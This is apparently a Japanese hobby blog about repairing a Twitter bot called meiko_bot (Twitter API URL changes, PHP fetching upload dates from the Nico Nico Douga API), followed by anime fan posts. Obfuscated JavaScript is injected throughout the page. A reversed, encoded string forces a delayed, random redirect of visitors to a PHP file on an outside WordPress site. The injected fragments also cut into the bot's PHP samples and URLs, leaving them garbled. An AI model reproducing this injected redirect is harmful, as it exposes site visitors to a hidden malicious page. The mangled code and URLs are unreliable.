【meiko_bot】古い仕様だったためツイートできなくなっていたので修正

10/10頃からmeiko_botが正しく動いていないのに本日気づきました。

以下のように暫定でURLを置換すればよいみたいですが、どうもツイッターの仕様的に

今後は、これもだめになるみたいです。ただ、すぐにはどうすれば良いのかわからなかったので

一旦、これでお茶を濁して、対応方法がわかるまでこのままとしたいと思います。

xmlを参照している部分のURLを下記のように置換しています。

「twitter.com」を「api.twitter.com」に置換

例えば、以下のような感じです(赤字部分を置換)

置換前dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

https://twitter.com/statuses/update.xml

置換後dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

http://api.twitter.com/1/statuses/update.xml

というわけで、2週間程度meiko_botが再び活動を開始しました。

meiko_bot 投稿時間の取得を失敗していたため修正

twitterで稼働させているmeiko_botの修正しました。

meiko_botはこちらです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://twitter.com/#!/meiko_bot

ニコニコ動画で投稿された作品をRSSによるタグ検索で取得していました。

その中に投稿日時が入っていたのですが、出力される形式が変わっていて取得できなくなっていました。

XML形式で出力されていますが、タグの構造が変わっていたために取得元データなしの状態になっていたということです。

今回はRSSで出力される情報ではなく、ニコニコ動画が提供しているAPIから投稿日時を取得するように変更しました。

もともと動画のタグ情報をニコニコ動画のAPIから取得していたので対応は簡単。

APIでは、以下のようなURLによって、結果がXML形式で帰ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404″ target=”_blank”> http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404

こんなソースになります。

$nicoadは動画のIDになります。

$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;

$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);

$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);

結果は以下のような感じで戻ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上記の結果をもとに、投稿日時としてfirst_retrieveの部分を取得します。

ただし、「2012-04-21T18:22:50+09:00」のような形式にになっているのでmm月dd日 HH時mm分の形式となるように整形しています。

(固定長っぽいので、原始的に桁区切りで整形しています)

$douga_date = $nicoapi_xml->thumb->first_retrieve[0]; //投稿日時

$nico_regdate = intval(mb_substr($douga_date,5,2)).”月”.intval(mb_substr($douga_date,8,2)).”日”.intval(mb_substr($douga_date,11,2)).”時”.intval(mb_substr($douga_date,14,2)).”分”; //整形

テスト用のアカウントで動作確認。

0月0日0時0分になっていたのが、正しく表示されるようになりました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

謝辞dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

正しく処理されていない状態になっていることを教えてくれた、かきにゃん@柿太郎さん、ありがとうございました。

追記dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

2012/4/22 10:14

meiko_botが投稿日時なしでつぶやいていたので、なんでかと思ったら、修正版をアップしてなかった。だめすぎるorz

今度こそ、アップロードしました。

両公式巡回済みなのか「あかりと京子でキルミーダンス 【キルミーベイベー】 」

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm17110125″]

両公式巡回済みになっていて、公式アカウントをみてみたら、本当にツイートされていた。

うーん、前にみたときは、片方だけだったのに。

しかし、愛されてるなー

短いのでもっと長いのが見たくなります。

それにしても、何回もループで思わず聞いてしまうというか見てしまうEDですね。


kmb!ハラショー! RT @: ほんとうのきもちはひみつだよ!これはすごいとキルコフさんと話してました。【ゆるゆり】 あかりと京子でキルミーダンス 【キルミーベイベー】 http://t.co/HPRAdL4W #k_m_baby

@k_m_baby

アニメ「キルミーベイベー」公式アカウント




ほんとうのきもちはひみつだよ!これはすごいとキルコフさんと話してました。【ゆるゆり】 あかりと京子でキルミーダンス 【キルミーベイベー】 #nicovideo #sm17110125 http://t.co/ZiG0NBtE #yuruyuri

@anime_yuruyuri

アニメ「ゆるゆり」公式アカウント

meiko_botで自動フォローが正常に動いてない件(解決)、ほか修正

meiko_botを修正しました。修正内容は以下のとおりです。

・自動でフォロー返しされない件を修正

・自動でフォローしたときにリプライをするように変更

・鍵付きの人へ自動でフォロー返しをしないように変更

・ニコニコ動画でMEIKOに関する動画が投稿されたらツイートする方法を変更



自動フォローが正常に動いていなかった件ですが、TwitterのAPIが変更になったためでした。

以下のサイトの内容をもとに修正しました。

EDOスタイル: EasyBotter2.05が自動フォロー返ししない問題を解決する方法

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/**/dostyle.blogspot.com/2011/06/easybotter205.html”>http://edostyle.blogspot.com/2011/06/easybotter205.html

・TwitterのAPIが変更されているために自動でフォロー返しする機能が動かなくなっていると書いてあったので修正。

1.フォロワー情報を取得する際のxmlのURLが変わっているので以下のように修正

 修正前

  http://twitter.com/statuses/followers.xml

 修正後

  http://api.twitter.com/1/statuses/followers.xml

2.フォローユーザの情報取得のURLも以下のように修正

 修正前

  http://twitter.com/friendships/create/~フォローする相手のスクリーンネーム~.xml

 修正後

  http://api.twitter.com/1/friendships/create/~フォローする相手のスクリーンネーム~.xml”;



あと、今回の件でしらべていたら、

このページを見ながら以下の機能を修正しました。

EasyBotter 非公式wiki – ver.2.0/応用/機能追加/reply

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www26.atwiki.jp/easybotter_wiki/pages/26.html#id_04ff8ffe

・鍵付きの人へ自動でフォロー返しをしないように変更

・自動でフォロー返しをした時にリプライを送るように変更



さらに、ニコニコ動画でMEIKO関連の動画が登校されていたらツイートする機能を修正。

取得する手順が変わったのみです。

<仕様変更前>

・最新の1つを取得して、前回と同じURLだったらツイートしない

<仕様変更後>

・最新から直近10件を取得して、その中でツイートしていないものがあれば、ツイートする。

・ツイートしていないかは、前回取得したURLをテキストで保持しておいて、比較することで判定

これで、動画が短時間に投稿されたことで紹介がもれることが減ると思います。

蒼山サグさんのツイートが相変わらずで好きだ

アニメ「ロウきゅーぶ」の原作であるライトノベルの作者である蒼山サグさんのツイートが相変わらずな感じでみててほっこりします。

こんな感じ。

ツイッターURL

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://twilog.org/SagAoyama


||Φ|(|゚|∀|゚|)|Φ||またいつか面会に来て下さいね! RT @: 書いた人の顔を見てみたいですね!

@SagAoyama

蒼山サグ


禁止! セルフアフレコモードで他作品の梶さんボイス使うの絶対禁止な! 具体的にどのタイトルのどの部分を、とかは言わないけど! #babyprincess

@SagAoyama

蒼山サグ


ベビプリBD届いたんだけど陽太郎が何かの間違いで『小学生は最高だぜ!』とか口走ってたらどうしよう。地獄絵図しか見えない。 #babyprincess

@SagAoyama

蒼山サグ


誰だ梶さんにこんなこと言わせたやつは! RT @: まったく…小学生は最高だぜ…! by 長谷川昴

@SagAoyama

蒼山サグ


おまわりさん、ぼくです! #rokyubu

@SagAoyama

蒼山サグ


すばるん覚醒。いたしかたなし。 #rokyubu

@SagAoyama

蒼山サグ

昴の第3話の名言も今週末のニコニコ動画でみられるはず。

みんなのコメントがいまから楽しみすぎです。

それにしても、第2話はなんかいニコニコ動画で繰り返しみただろうか。

時間を見つけたら見てる状況。

そして、またもやライトノベルのロウきゅーぶ8巻を読んで、アニメ見て、7巻の熱い展開も見たくなってまた読んで。

ロウきゅーぶな毎日です。